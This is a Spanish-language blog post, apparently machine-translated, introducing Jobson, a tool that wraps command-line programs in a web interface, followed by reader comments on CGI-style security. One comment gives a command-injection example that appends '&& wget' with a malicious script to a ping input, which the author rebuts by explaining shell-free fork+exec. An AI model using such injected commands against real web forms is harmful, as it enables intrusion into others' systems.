Transformar líneas de comando en programas en línea

Incluso si le gusta utilizar una interfaz gráfica de usuario, probablemente esté de acuerdo en que escribir un programa gráfico suele ser más difícil que escribir un programa antiguo basado en texto. Poner esa GUI en un formato en línea significa aún más que considerar. [Adam Kewley] tiene la respuesta a ese problema: Jobson. Como puede ver en el video a continuación, el programa es un servidor web que ejecuta programas de línea de comandos como trabajos.

Simplemente escriba un archivo YAML para describir las entradas y salidas del programa y Jobson creará campos de entrada para argumentos y mostrará la salida en una página web. Todos los archivos creados por el programa se pueden descargar. Básicamente, cualquier programa de línea de comandos se puede conectar rápida y fácilmente a una interfaz de Internet para controlarlos.

Si un programa dura mucho tiempo, Jobson le permitirá cambiar y luego continuará viendo el resultado. También puede dejar de trabajar o mirar los argumentos que ha recibido. Jobson también puede autenticar a los usuarios mediante varios métodos diferentes para evitar que alguien realice trabajos.

Si realmente desea escribir un programa de gráficos, pruebe QTCreator. O puede obtener un shell en un navegador web si desea seguir esa ruta. Pero este es el método más sencillo que hemos visto para recopilar programas de línea de comandos en un solo lugar para su supervisión y control. ¡Bien!

  • RW versión 0.0.1 dice:

    De acuerdo, estás ejecutando un código C sucio para hacer que tu proyecto científico hable con tu pi o algo, luego descúbrelo para que puedas conectarlo en red a tu teléfono ...

    • adamk117 dice:

      Sí =). Fue construido en un entorno académico donde a la gente le gustaría armar las cosas de esa manera.

  • jajaja dice:

    Limpio, tal vez en una caja de arena cada tarea programada del programa en un caso kroot, clic personalizado o docker + jenkins.

    Parece CGI al estilo de los 80, y la gente inventó Perl / Ruby / Java / PHP / Node.js para tratar de hacer que los scripts sean "seguros" para exponerlos en la web; nadie tiene éxito, así que supongo que su enfoque realmente no cambia. la dinámica arriesga mucho.

    Hay muchos planificadores establecidos que son populares en clústeres más grandes, pero no estoy seguro de que sigan siendo gratuitos.
    Alguien dará una mejor respuesta, incluso si no lo sabe ... 😉

    • Gato gruñón dice:

      Preocupado por el CGI al estilo de los 80. Estilo de los 90. Me estoy haciendo viejo ... 🙂

      • jakobristo dice:

        ¡Jaja, CGI al estilo de los 80 era telnet!

    • Adam Kewley dice:

      Escribí una publicación más larga explicando algunas diferencias, pero el perro (wordpress) se comió mi tarea. Esencialmente:

      - CGI implica pasar los títulos, parámetros, ruta, etc. de la solicitud HTTP sin procesar al script a través del entorno
      - Los scripts regularmente analizan incorrectamente las variables circundantes y las usan de manera insegura, lo que ha provocado ataques
      - En los viejos tiempos, muchos servidores CGI ejecutaban el script con permisos de root, lo que provocaba un script comprometido especialmente malo para el servidor.
      - La API de Jobson solo acepta solicitudes que tienen el "formulario" correcto, como se define en la especificación YAML
      - Jobson solo entrega lo que especifica a la aplicación a continuación, en lugar de casi todo. Por lo tanto, la aplicación no tiene que hacer tanto trabajo de lectura (de dónde vienen los errores)
      - Además, la visión "grandiosa" de Jobson es hacer mucho más procesamiento (fusionar cosas, reformatear cosas) antes de entregarlo a la aplicación "insegura".
      - El servidor Jobson puede comunicarse completamente a través de un proxy inverso, por lo que las instalaciones típicas harán que Jobson se ejecute en un contenedor o una cuenta con pocos privilegios, mientras que el servidor de cara al usuario (que necesita root para escuchar en el puerto 80) será algo apropiado para el nivel de producción, como Nginx
      - No importa cuánto les guste a los desarrolladores web odiar el CGI, ha estado funcionando a lo loco durante décadas. No se sorprenda si su banco utiliza una puerta de enlace CGI para algunas transacciones. Las posibles fallas de seguridad de una validación de entrada deficiente en un script CGI son significativas. Sin embargo, los servidores web son mucho más complicados y tienen ** muchos ** puntos de ataque adicionales. La pregunta es básicamente: ¿preferiría validar algunas entradas en un script o escribir una pila en línea completa? Los desarrolladores experimentados harán ambas cosas de forma segura, mientras que los desarrolladores inexpertos harán ambas cosas de forma insegura. Sin embargo, tomará mucho más tiempo escribir una página web completa. Es probable que Jobson en términos de diseño (API estricta, reenvío de argumentos estricto / transformaciones w, bifurcación sin shell, etc.) sea significativamente más seguro que el CGI número 80 que se haya desarrollado completamente.

  • trabajos de dice:

    Sí, los hackers están contentos. No es necesario obtener acceso al shell, está disponible directamente con solicitudes HTTP ...

    • Adam Kewley dice:

      Si el programa que se está ejecutando es un script bash, y ese script bash usa uno de los argumentos en una llamada de aplicación sin escapar de él. De lo contrario, no, hay formas de ejecutar programas sin un shell (ver bifurcación + ejecución).

  • Fuzzyfuzzyfungus dice:

    Obviamente, esto es un problema menor si es solo para mi comodidad (y debidamente protegido); pero estos arreglos son formas emocionantes de descubrir cuántas formas diferentes hay de ocultar un segundo comando en una entrada, que se supone que solo son argumentos para el comando deseado.

    Interfaces de Internet frecuentes (oh comando ping para probar ... intentemos "192.168.1.1 && wget malice.sh")

    • Adam Kewley dice:

      El número de argumentos pasados ​​a una aplicación corresponde directamente a las entidades en ese archivo YAML. Puedo decir esto con confianza porque Jobson no funciona en shell y el truco que propones confunde al intérprete de shell (no existe).

      El servidor realiza directamente llamadas fork + exec al sistema operativo, pasando dichos argumentos, en última instancia, como C-strings. Puede pasar un argumento que contenga megabytes de ruido aleatorio y no “malinterpretará” lo que eso significa (el shell lo haría, porque ese ruido aleatorio contendrá caracteres no válidos).

  • Packard dice:

    ¡Dulce! ¡Ahora, la programación en C no programada basada en texto que nos enseñaron en la universidad puede ser realmente útil en el mundo moderno real!

    • Adam Kewley dice:

      Sí, también la GUI gratuita:

      - secuencia de comandos de Python
      - Aprendizaje automático
      - Estadísticas (R, etc.)
      - Compiladores
      - Utilidades de línea de comando
      - Procesadores de video
      - renderizadores 3d
      - Proyectos Tinker

      ¡Lo que la mayoría de la gente hace todos los días de su vida profesional y ya es útil en el mundo real y moderno, será aún más útil!

  • Un dron dice:

    U, oh, colisión de espacio de nombres, ¿o no?

    "Jobson Interactive"

    Jobson Interactive

    • Adam Kewley dice:

      Sí = (

  • rnjacobs dice:

    Ahora bien, si tan solo hubiera una manera fácil de convertir programas web en líneas de comando: p

Ricardo Prieto
Ricardo Prieto

Deja una respuesta

Tu dirección de correo electrónico no será publicada.